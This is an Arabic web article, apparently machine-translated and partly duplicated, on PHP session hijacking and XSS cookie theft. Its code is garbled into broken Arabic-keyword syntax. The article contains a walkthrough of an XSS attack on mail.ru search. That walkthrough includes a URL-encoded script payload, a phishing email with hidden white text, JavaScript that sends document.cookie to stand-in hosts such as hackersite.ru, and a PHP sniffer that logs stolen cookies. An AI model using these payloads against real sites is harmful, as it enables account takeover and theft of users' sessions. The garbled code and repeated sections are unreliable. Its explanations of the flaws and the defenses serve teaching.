سرقة الجلسة. البرمجة الآمنة في PHP. سرقة ملفات تعريف الارتباط

أخبار 09.12.2020
أخبار
  1. يُطلب من المستخدم إدخال اسم مستخدم وكلمة مرور.
  2. إذا نجح التفويض ، يتم إنشاء جلسة جديدة بقيمة "التفويض ناجح".
  3. يتم تعيين معرف فريد للمستخدم (SID) ، والذي لا يمكن توقعه مسبقًا ، وبالتالي لا يمكن تحديده :).
  4. يتم تسجيل SID إما في ملفات تعريف الارتباط بالمتصفح أو يتم نقله عبر شريط عنوان المتصفح (إذا تم تعطيل ملفات تعريف الارتباط).

كنتيجة للترخيص الناجح ، يحصل البرنامج النصي على وصول إلى قيم المتغيرات من المصفوفة superglobal $ _SESSION ، التي يوفر وجودها البرنامج النصي الوصول إلى بعض الموارد ، على سبيل المثال ، مدخل لوحة إدارة الموقع.

تكمن المشكلة في أنه إذا عرف المهاجم بطريقة أو بأخرى معرّف الأمان (SID) الخاص بمستخدم آخر ، فيمكنه استبداله في ملفات تعريف الارتباط الخاصة به ، أو شريط عنوان المتصفح والدخول إلى الموقع بحقوق هذا المستخدم.

تعليق

قبل بضع سنوات ، كانت هناك العديد من الفضائح عندما أنشأت أنظمة إدارة الحسابات المصرفية عن بُعد رقمًا فريدًا (SID) ببساطة عن طريق إضافة واحد إلى آخر قيمة مستخدمة. أدى التفويض السريع إلى إصدار قيمتي SID ، دعنا نقول 40346 و 40348. استبدال الرقم 40347 سمح بالوصول إلى حساب شخص آخر :).

حاليًا ، يمثل SID تسلسلًا فريدًا من الأرقام والحروف غير المرتبطة بمقياس. ولكن كيف يكتشف المهاجم SID لشخص آخر؟

هناك خياران أكثر شيوعًا:

1. على سبيل المثال ، أظهرها صاحب الجلسة بنفسه ، وترك دون قصد رابطًا من هذا النوع في مكان ما في المنتدى أو سجل الزوار.

http://forum.dklab.ru/؟sid=

يؤدي الانتقال إلى هذا العنوان تلقائيًا إلى منح المهاجم حقوق المستخدم الذي تم تخصيص جلسة مع المعرف له.
بالطبع ، يتم إتلاف جلسة المستخدم إذا لم يكن هناك نشاط بعد فترة. ولذا يجب أن يسرع المهاجم :). من ناحية أخرى ، يتيح لك الانتشار الكلي للعناكب (العناكب) تنظيم بحث تلقائي هادف عن هذه الروابط.

2. حتى إذا لم يتم تحديد الجلسة صراحةً في سطر المتصفح ، ولكن تم تخزينها في ملفات تعريف الارتباط. لا يزال لدى المهاجم الفرصة للاستيلاء على المعرف. ضع في اعتبارك نصًا صغيرًا لأبسط كتاب ضيف.



نص:


يظهر أدناه محتوى معالج addmsg.php

إذا (! فارغ ($ _ POST ["نص"]))
{
$ line = str_replace ("/؟
/ s "،" "، $ _POST [" text "]) ؛
// الكتابة إلى قاعدة البيانات أو الملف
}
آخر
{
خروج(
"خطأ" )؛
}
?>

يرجى ملاحظة أن البرنامج النصي يغفل بوضوح استدعاء وظيفة htmlspecialchars () ، التي تحول الأحرف< в < и >في> نتيجة لذلك ، يمكن للمهاجم إدراج أي علامات HTML ونصوص جافا سكريبت في النص.

وماذا حصلنا عليه؟ سهو بسيط (على ما يبدو فقد بعض رموز htmlspecialchars () فقط قبل عرض الرسالة على المتصفح) ، والذي يسمح لك بتحميل صفحة المهاجم في نافذة جديدة ، وتمرير قيمها من ملفات تعريف الارتباط.
للتعامل مع نقاط الضعف من هذا النوع ، من الأفضل التعامل مع الأساليب "المستدامة" ، والعمل على مبدأ "كل ما هو غير مسموح به محظور". يجب ألا تخفي معرّف الأمان (SID) وإخضاع النص لفحوصات متعددة المراحل - يزداد احتمال حدوث أخطاء في هذه الحالة فقط. أكثر موثوقية في هذه الحالة هي طريقة ربط SID بعنوان IP للمستخدم الذي يملك الجلسة. تستخدم هذه الطريقة على نطاق واسع في العديد من المنتديات المعروفة ، مثل phpBB.
نص التفويض

إذا ( تسجيل الدخول وكلمة المرور صحيحان)
{
$ _SESSION ["التفويض"] = صحيح ؛
$ _SESSION ["ip"] = $ _SERVER ["REMOTE_ADDR"] ؛
}
?>

ثم قد يحتوي البرنامج النصي الذي يمنح الوصول إلى مورد معين على التعليمات البرمجية التالية

إذا (! فارغ ($ _ SESSION ["مخول"]) &&
$ _SESSION ["ip"] == $ _SERVER ["REMOTE_ADDR"])
{
// الوصول إلى المورد مفتوح.
}
آخر يموت ("الوصول مرفوض") ؛
?>

أولئك. الآن يمكن فقط للمستخدم الذي يتطابق عنوان IP الخاص به مع عنوان IP المرسل إلى الخادم أثناء التفويض العمل مع هذه الجلسة. إذا اعترض أحد المهاجمين الجلسة ، فسيكون لديه عنوان IP مختلف :) - لذلك سيتم رفض وصوله.

هذه الطريقة ليست عالمية ولها أيضًا نقاط ضعف.

  1. إذا قام المستخدم والمهاجم بالوصول إلى الإنترنت من خلال خادم وكيل مشترك ، فسيكون لديهما عنوان IP مشترك واحد (هذا نموذجي لشبكات الجامعات والمصانع والمؤسسات الكبيرة الأخرى) ، أي يمكن للجميع سرقة SID الخاص بالجيران ، على الأقل بالطرق المذكورة أعلاه.

حيث تم اقتراح حضور حدث مجاني مخصص لقضايا أمن المعلومات. منذ أن أقيم الحدث في مدينتي ، قررت أنني بحاجة للذهاب إلى هناك دون أن أفشل. تم تخصيص الدرس الأول للثغرات الأمنية على مواقع مثل XSS. بعد الدرس ، قررت أنني بحاجة إلى تعزيز المعرفة المكتسبة في ظروف حقيقية. اخترت بنفسي العديد من المواقع التي تتعلق بمدينتي وبدأت في محاولة لصق نصي في جميع الأشكال. في معظم الحالات ، تم تصفية البرنامج النصي. ولكن حدث أن "التنبيه" نجح ، وظهرت رسالتي. لقد أبلغت المسؤولين عن الثغرة الأمنية التي تم العثور عليها ، وقاموا بإصلاح كل شيء بسرعة.

في أحد تلك الأيام ، أثناء فحص البريد الجديد على mail.ru ، صادفت نموذجًا للبحث في الرسائل في صندوق البريد. من حين لآخر ، استخدمت هذا البحث للعثور على شيء أحتاجه في كومة من رسائلي القديمة. حسنًا ، نظرًا لأنه في اليومين الماضيين قمت بإدخال "التنبيه" الخاص بي في كل مكان تقريبًا ، وصلت يدي بشكل انعكاسي إلى نموذج البحث هذا. لقد كتبت رمز البرنامج النصي الخاص بي وضغطت على Enter. تخيل دهشتي عندما رأيت رسالة مألوفة مؤلمة على الشاشة ...


في محاضرة أيام Open InfoSec ، قال المتحدث إن المبرمجين متشككون إلى حد ما بشأن نقاط الضعف من هذا النوع ، كما يقولون ، "تنبيه؟ حسنًا ، وماذا في ذلك؟ هذا ليس خطيرا ". إذا كنت في مواقع أخرى راضيًا عن هذه النافذة فقط برسالتي ، ففي هذه الحالة قررت المضي قدمًا وإظهار ما يمكن أن يأتي من مثل هذا "التنبيه".

لذا ، فإن النص يعمل ، مما يعني أن هناك ثغرة أمنية. لذلك ، يمكنك محاولة تشغيل بعض البرامج النصية الأخرى. على سبيل المثال ، نص برمجي يمرر لنا ملفات تعريف الارتباط الخاصة بمستخدم آخر. لكي يعمل البرنامج النصي ، نحتاج إلى إجبار المستخدم على تنفيذ البرنامج النصي الخاص بنا. يمكن القيام بذلك عن طريق إرسال خطاب به الرابط المناسب ، بعد النقر فوق صندوق البريد الذي سيتم البحث فيه وسيتم تنفيذ الكود الذي نحتاجه.

استغرق الأمر بعض الوقت والكثير من التجارب لفهم آليات الضعف. يعمل البرنامج النصي أحيانًا ، وأحيانًا يتم تصفيته. بعد بعض الجهد ، من الناحية التجريبية ، وجد أن النص يعمل بنسبة 100 ٪ فقط إذا أعطى البحث عن الحروف نتيجة إيجابية. بمعنى ، عندما يقوم المستخدم بإجراء بحث باستخدام البرنامج النصي الخاص بنا ، فمن الضروري العثور على حرف واحد على الأقل في صندوق بريده وفقًا للمعايير المحددة. ليس من الصعب إعداده.

if (isset ($ _ GET ["cookies"]))
{
$ text = "قبول ملف تعريف ارتباط جديد من". $ _SERVER ["REMOTE_ADDR"]. "at". التاريخ ("l jS of F Y h: i: s A") ؛
$ text. = "\ n" .str_repeat ("="، 22). "\ن" . $ _GET ["ملف تعريف الارتباط"]. "\ n" .str_repeat ("="، 22). "\ n"؛
$ file = fopen ("sniff.txt"، "a")؛
fwrite (ملف $ ، نص $) ؛
fclose (ملف $) ؛
}
?>

أيضًا ، بدلاً من "تنبيه" ، نحتاج إلى نص برمجي ينقل ملفات تعريف الارتباط إلى المتشمم الخاص بنا. سنكتب هذا البرنامج النصي في ملف منفصل ونقوم بتحميله على بحثنا. لقد أنشأت ملف test.js بالشفرة اللازمة وقمت بتحميله إلى الاستضافة. كود البرنامج النصي هو هذا:

Img = newImage () ،
img.src = "http://sitename.ru/sniff.php؟cookie=" + document.cookie ؛
الوظيفة F () (
الموقع = "http://www.solife.ru" ؛
}
setTimeout (F ، 5000) ؛

ما أود أن أشرح هنا. دعونا نضع أنفسنا مكان المهاجم. يحتاج المستخدم للنقر على الرابط. كيف تجعله يفعل ذلك؟ يمكنك أن تعد بجبال من الذهب ولكي تحصل عليها تحتاج إلى اتباع الرابط الخاص بنا إلى الموقع. لكنني لا أعتقد أنها ستنجح. لم يعد الناس على هذا الموضوع (أنا نفسي أحذف مثل هذه الرسائل باستمرار ، حتى دون قراءتها). لذلك ، سوف نلعب على الشفقة البشرية ، لأنها لا تزال موجودة في الطبيعة. سوف نطلب منك التصويت في الموقع لإنقاذ الحيوانات المبيده. أولاً ، سنأخذ ملفات تعريف الارتباط ، ثم سنعيد توجيه المستخدم إلى موقع التصويت. تم تعيين مهلة إعادة التوجيه على 5 ثوانٍ ، وإلا لم يكن لدى ملفات تعريف الارتباط الوقت الكافي لإرسالها إلى المتشمم ، وتم نقل المستخدم على الفور إلى الموقع المتعلق بالحيوانات. بدلاً من "تنبيه" استخدمت النص التالي:

عندما تم الانتهاء من النصوص ، بدأت في كتابة خطاب. توصل إلى المحتوى التالي:


اتضح الأمر بشكل ساخر للغاية ، لكنني حاولت تقريب الظروف إلى الأكثر واقعية. في نهاية الرسالة ، تمت إضافة سطر بنص ، وذلك حتى يتم العثور على رسالتنا عندما نجري بحثًا. حتى لا يسبب الخط أسئلة غير ضرورية ، قمت برسمه باللون الأبيض. أضع أيضًا مسافة في كلمة "http" حتى لا يتم التعرف على السلسلة وتحويلها إلى ارتباط. خلاف ذلك ، على الرغم من حقيقة أن سطر النص مكتوب بخط أبيض ، فسيتم تمييز الرابط باللون الأزرق عند المرسل إليه ، ولسنا بحاجة إلى ذلك. سيظل البحث الذكي يعثر على هذه السلسلة ويتعرف عليها ، بغض النظر عن المسافات.

E.mail.ru/cgi-bin/gosearch؟q_folder=0&q_query=٪27٪3E٪3Cscript٪20src٪3D٪27http٪3A٪2F٪2Fsitename.ru٪2Ftest.js٪27٪3E٪3C٪2Fscript٪3E

بالنسبة للبرنامج النصي ، قمت بتطبيق ترميز URL بحيث لا يتم تصفية أي شيء. أضفت أيضًا المعلمة "q_folder = 0" للبحث ، بحيث يتم البحث في مجلد Inbox.

الرسالة جاهزة ، نرسلها. لقد استخدمت صندوق البريد الثاني الخاص بي على نفس الخدمة مثل المرسل إليه. ننظر إلى ما جاء في الصندوق الآخر.

نصنا النصي غير مرئي لأنه يندمج في الخلفية. دعنا نضغط على الرابط ونرى ما سيحدث. يتم نقل المستخدم إلى نتائج البحث عن رسائل البريد الإلكتروني بواسطة المعلمة التي حددناها. رسالتنا التي أرسلناها تظهر في نتائج البحث. في هذا الوقت ، نجح البرنامج النصي الخاص بنا بالفعل وأرسل ملفات تعريف الارتباط الخاصة بالمستخدم إلى المتشمم. بعد 5 ثوان (يعتمد الوقت على إعدادات البرنامج النصي) ، يتم إعادة توجيه المستخدم إلى موقع التصويت.

أتحقق من ملف sniff.txt الخاص بي:

نظرًا لأن هدفي ليس سرقة صناديق الآخرين أو الوصول إليها ، فسوف أنهي القصة هنا. لكن من الناحية النظرية ، يمكنك استبدال ملفات تعريف الارتباط الخاصة بك بملفات تعريف الارتباط الخاصة بشخص آخر والوصول إلى صندوق بريد شخص آخر. بشكل عام ، إذا أشعل المهاجم النار على الهدف ، فسيجد استخدامًا للمعلومات التي يتلقاها.

أود أن أشكر سيرجي بيلوف (

  1. يُطلب من المستخدم إدخال اسم مستخدم وكلمة مرور.
  2. إذا نجح التفويض ، يتم إنشاء جلسة جديدة بقيمة "التفويض ناجح".
  3. يتم تعيين معرف فريد للمستخدم (SID) ، والذي لا يمكن توقعه مسبقًا ، وبالتالي لا يمكن تحديده :).
  4. يتم تسجيل SID إما في ملفات تعريف الارتباط بالمتصفح أو يتم نقله عبر شريط عنوان المتصفح (إذا تم تعطيل ملفات تعريف الارتباط).

كنتيجة للترخيص الناجح ، يحصل البرنامج النصي على حق الوصول إلى قيم المتغيرات من المصفوفة العالمية الفائقة $ _SESSION ، والتي من خلال وجودها يوفر البرنامج النصي الوصول إلى بعض الموارد ، على سبيل المثال ، مدخل لوحة إدارة الموقع.

تكمن المشكلة في أنه إذا عرف المهاجم بطريقة ما معرّف الأمان (SID) الخاص بمستخدم آخر ، فيمكنه استبداله في ملفات تعريف الارتباط الخاصة به ، أو شريط عنوان المتصفح والدخول إلى الموقع بحقوق هذا المستخدم.

تعليق

قبل بضع سنوات ، كانت هناك العديد من الفضائح عندما أنشأت أنظمة إدارة الحسابات المصرفية عن بُعد رقمًا فريدًا (SID) ببساطة عن طريق إضافة واحد إلى آخر قيمة مستخدمة. أدى التفويض السريع إلى إصدار قيمتي SID ، دعنا نقول 40346 و 40348. استبدال الرقم 40347 سمح بالوصول إلى حساب شخص آخر :).

حاليًا ، يمثل SID تسلسلًا فريدًا من الأرقام والحروف غير المرتبطة بمقياس. ولكن كيف يكتشف المهاجم SID لشخص آخر؟

هناك خياران أكثر شيوعًا:

1. على سبيل المثال ، أظهرها صاحب الجلسة بنفسه ، وترك دون قصد رابطًا من هذا النوع في مكان ما في المنتدى أو سجل الزوار.

http://forum.dklab.ru/؟sid=

يؤدي الانتقال إلى هذا العنوان تلقائيًا إلى منح المهاجم حقوق المستخدم الذي تم تخصيص جلسة مع المعرف له.
بالطبع ، يتم إتلاف جلسة المستخدم إذا لم يكن هناك نشاط بعد فترة. ولذا يجب أن يسرع المهاجم :). من ناحية أخرى ، يتيح لك الانتشار الكلي للعناكب (العناكب) تنظيم بحث تلقائي هادف عن هذه الروابط.

2. حتى إذا لم يتم تحديد الجلسة صراحةً في سطر المتصفح ، ولكن تم تخزينها في ملفات تعريف الارتباط. لا يزال لدى المهاجم الفرصة للاستيلاء على المعرف. ضع في اعتبارك نصًا صغيرًا لأبسط كتاب ضيف.



نص:


يظهر أدناه محتوى معالج addmsg.php

إذا (! فارغ ($ _ POST ["نص"]))
{
$ line = str_replace ("/؟
/ s "،" "، $ _POST [" text "]) ؛
// الكتابة إلى قاعدة البيانات أو الملف
}
آخر
{
خروج ("خطأ") ؛
}
?>

يرجى ملاحظة أن البرنامج النصي يحذف بوضوح استدعاء وظيفة htmlspecialchars () ، والتي تحول الأحرف إلى> ، ونتيجة لذلك يمكن للمهاجم إدراج أي علامات HTML ونصوص JavaScript في النص.

وماذا حصلنا عليه؟ سهو بسيط (على ما يبدو فقد بعض رموز htmlspecialchars () فقط قبل عرض الرسالة على المتصفح) ، والذي يسمح لك بتحميل صفحة المهاجم في نافذة جديدة ، وتمرير قيمها من ملفات تعريف الارتباط.
للتعامل مع نقاط الضعف من هذا النوع ، من الأفضل التعامل مع الأساليب "المستدامة" ، والعمل على مبدأ "كل ما هو غير مسموح به محظور". يجب ألا تخفي معرّف الأمان (SID) وإخضاع النص لفحوصات متعددة المراحل - يزداد احتمال حدوث أخطاء في هذه الحالة فقط. أكثر موثوقية في هذه الحالة هي طريقة ربط SID بعنوان IP للمستخدم الذي يملك الجلسة. تستخدم هذه الطريقة على نطاق واسع في العديد من المنتديات المعروفة ، مثل phpBB.
نص التفويض

إذا ( تسجيل الدخول وكلمة المرور صحيحان)
{
$ _SESSION ["التفويض"] = صحيح ؛
$ _SESSION ["ip"] = $ _SERVER ["REMOTE_ADDR"] ؛
}
?>

ثم قد يحتوي البرنامج النصي الذي يمنح الوصول إلى مورد معين على التعليمات البرمجية التالية

إذا (! فارغ ($ _ SESSION ["مخول"]) &&
$ _SESSION ["ip"] == $ _SERVER ["REMOTE_ADDR"])
{
// الوصول إلى المورد مفتوح.
}
آخر يموت ("الوصول مرفوض") ؛
?>

أولئك. الآن يمكن فقط للمستخدم الذي يتطابق عنوان IP الخاص به مع عنوان IP المرسل إلى الخادم أثناء التفويض العمل مع هذه الجلسة. إذا اعترض أحد المهاجمين الجلسة ، فسيكون لديه عنوان IP مختلف :) - لذلك سيتم رفض وصوله.

هذه الطريقة ليست عالمية ولها أيضًا نقاط ضعف.

  1. إذا قام المستخدم والمهاجم بالوصول إلى الإنترنت من خلال خادم وكيل مشترك ، فسيكون لديهما عنوان IP مشترك واحد (هذا نموذجي لشبكات الجامعات والمصانع والمؤسسات الكبيرة الأخرى) ، أي يمكن للجميع سرقة SID الخاص بالجيران ، على الأقل بالطرق المذكورة أعلاه.
  2. إذا كان المستخدم يستخدم مودمًا وانقطع الاتصال ، فبعد استعادة الاتصال ، من المرجح أن يتم تعيين عنوان IP مختلف له. قد يفاجأ المستخدم بشكل غير سار إذا كان مسجلاً بشكل عشوائي في صفوف المتسللين (لذلك ، لا يستحق كتابة التهديدات والنداءات للضمير في أنظمة الحماية - فهذه الأنظمة بها أخطاء أيضًا). يحدث العيب الأخير في المنتديات ، حيث عادة ما يقوم زوارها بإيقاف تشغيل الإنترنت والعمل دون اتصال بالإنترنت عند كتابة إجابة طويلة. يؤدي الضغط على الزر "رد" إلى فقدان جميع المعلومات المكتوبة ، حيث لا أحد يهتم بحفظ النص الذي كتبه المهاجم :))).

خروج: (أو بالأحرى شبه خروج) تحقق من الهوية فقط من الأرقام الثلاثة الأولى من عنوان IP ، ولا تزال سرقة SID غير مرجحة إحصائيًا ، ولكن في معظم الحالات يتيح لك ذلك أن تكون أكثر لطفًا بشأن قطع الاتصال ، حيث يتم تخصيص مقدمي الخدمة عادةً نطاق غير منقطع لعناوين IP ، يتغير فيه الرقم الأخير فقط.

ما هو ملف تعريف الارتباط؟

هناك آلية تسمح لخادم http بتخزين بعض المعلومات النصية على كمبيوتر المستخدم ، ثم الوصول إليها. هذه المعلومات تسمى ملف تعريف الارتباط. في الواقع ، كل ملف تعريف ارتباط هو زوج: اسم المعلمة وقيمتها. يتم أيضًا تخصيص النطاق الذي ينتمي إليه كل ملف تعريف ارتباط. لأغراض أمنية ، في جميع المتصفحات ، يُسمح لخادم http فقط بالوصول إلى ملف تعريف ارتباط المجال الخاص به. بالإضافة إلى ذلك ، يمكن أن يكون لملفات تعريف الارتباط تاريخ انتهاء صلاحية ، وفي هذه الحالة سيتم تخزينها على الكمبيوتر حتى هذا التاريخ ، حتى لو تم إغلاق جميع نوافذ المتصفح.


لماذا ملفات تعريف الارتباط مهمة؟

في جميع الأنظمة متعددة المستخدمين ، تُستخدم ملفات تعريف الارتباط لتحديد هوية المستخدم. أو بالأحرى ، الاتصال الحالي للمستخدم بالخدمة ، جلسة المستخدم. إذا تعرف شخص ما على ملفات تعريف الارتباط الخاصة بك ، فيمكنه تسجيل الدخول نيابة عنك. لأنه في الوقت الحالي ، هناك عدد قليل جدًا من موارد الإنترنت تتحقق من تغيير عنوان IP أثناء جلسة مستخدم واحدة.


كيف تغير أو تغير ملفات تعريف الارتباط؟

لا يوفر مطورو المستعرضات أدوات مضمنة لتحرير ملفات تعريف الارتباط. ولكن يمكنك الحصول على مفكرة عادية (مفكرة).


الخطوة 1: إنشاء ملف نصي مع نص

الإصدار 5.00 من محرر تسجيل Windows



@ = "C: \\ IE_ext.htm"

نقوم بحفظه تحت اسم IE_ext.reg

الخطوة 2: باستخدام الملف الذي تم إنشاؤه ، أضف التغييرات إلى سجل Windows.

الخطوة 3: قم بإنشاء ملف نصي بنص

< script اللغة = "جافا سكريبت">
External.menuArguments.clipboardData.setData ("نص" ، external.menuArguments.document.cookie) ؛

External.menuArguments.document.cookie = "testname = testvalue ؛ المسار = / ؛ المجال = testdomain.ru";
تنبيه (external.menuArguments.document.cookie) ؛


احفظه كـ C: \ IE_ext.htm

الخطوة 4: نذهب إلى موقع الويب الذي يهمنا.

الخطوة 5: انقر بزر الماوس الأيمن فوق مساحة فارغة على الصفحة وحدد عنصر القائمة "العمل مع ملفات تعريف الارتباط". السماح بالوصول إلى الحافظة. سيتم وضع ملفات تعريف الارتباط الخاصة بك لهذا الموقع في الحافظة. يمكنك لصق المفكرة الخاصة بهم (المفكرة) وترى.


الخطوة 6: لتغيير بعض ملفات تعريف الارتباط ، قم بتحرير ملف C: \ IE_ext.htm ، مع استبدال اسم الاختبارباسم ملف تعريف الارتباط ، قيمة الاختبار- في معناها ، testdomain.com- إلى مجال الموقع. أضف المزيد من الخطوط مثل هذا إذا لزم الأمر. لتسهيل التحكم ، أضفت إخراج ملفات تعريف الارتباط الحالية إلى البرنامج النصي قبل التغيير وبعده: تنبيه (external.menuArguments.document.cookie) ؛

الخطوة 7: قم بتشغيل الخطوة 5 مرة أخرى ثم قم بتحديث الصفحة.

الخلاصة: سنذهب إلى مورد الإنترنت هذا مع ملفات تعريف الارتباط المحدثة.

كيف تسرق ملفات تعريف الارتباط باستخدام JavaScript؟

إذا تمكن المهاجم من إيجاد طريقة لتنفيذ برنامج نصي JavaScript تعسفي على كمبيوتر الضحية ، فيمكنه قراءة ملفات تعريف الارتباط الحالية بسهولة بالغة. مثال:


varstr = document.cookie ؛

ولكن هل سيتمكن من نقلها إلى موقعه ، لأنه ، كما أشرت سابقًا ، لن يتمكن برنامج JavaScript النصي من الوصول إلى موقع موجود في مجال آخر دون تأكيد إضافي؟ اتضح أن برنامج JavaScript النصي يمكنه تحميل أي صورة موجودة على أي خادم http. في نفس الوقت ، قم بنقل أي معلومات نصية في طلب التنزيل إلى هذه الصورة. مثال: http://hackersite.ru/xss.jpg؟text_infoلذلك إذا قمت بتشغيل هذا الرمز:

varimg = صورة جديدة()؛

img.src = "http://hackersite.ru/xss.jpg؟"+ encodeURI (document.cookie) ؛


ثم تكون ملفات تعريف الارتباط في طلب تنزيل "الصورة" و "المغادرة" للمهاجم.

كيف يتم التعامل مع مثل هذه الطلبات لتحميل "صورة"؟

يحتاج المهاجم فقط إلى العثور على استضافة تدعم php ووضع رمز مثل هذا:

$ uid = urldecode ($ _ SERVER ["QUERY_STRING"]) ؛
$ fp = fopen ("log.txt"، "a")؛
fputs ($ fp، "$ uid \ n")؛
fclose ($ fp) ؛
?>

ثم سيتم حفظ جميع معلمات الاستعلام لهذا البرنامج النصي في الملف log.txt. يبقى فقط في نص JavaScript الموصوف سابقًا ليحل محله http://hackersite.ru/xss.jpgإلى المسار إلى هذا البرنامج النصي php.


حصيلة

لقد أظهرت فقط أبسط طريقة لاستغلال ثغرات XSS. ولكنه يثبت أن وجود ثغرة أمنية واحدة على الأقل على موقع إنترنت متعدد المستخدمين يمكن أن يسمح للمهاجم باستخدام موارده نيابة عنك.



نوصي بالقراءة

قمة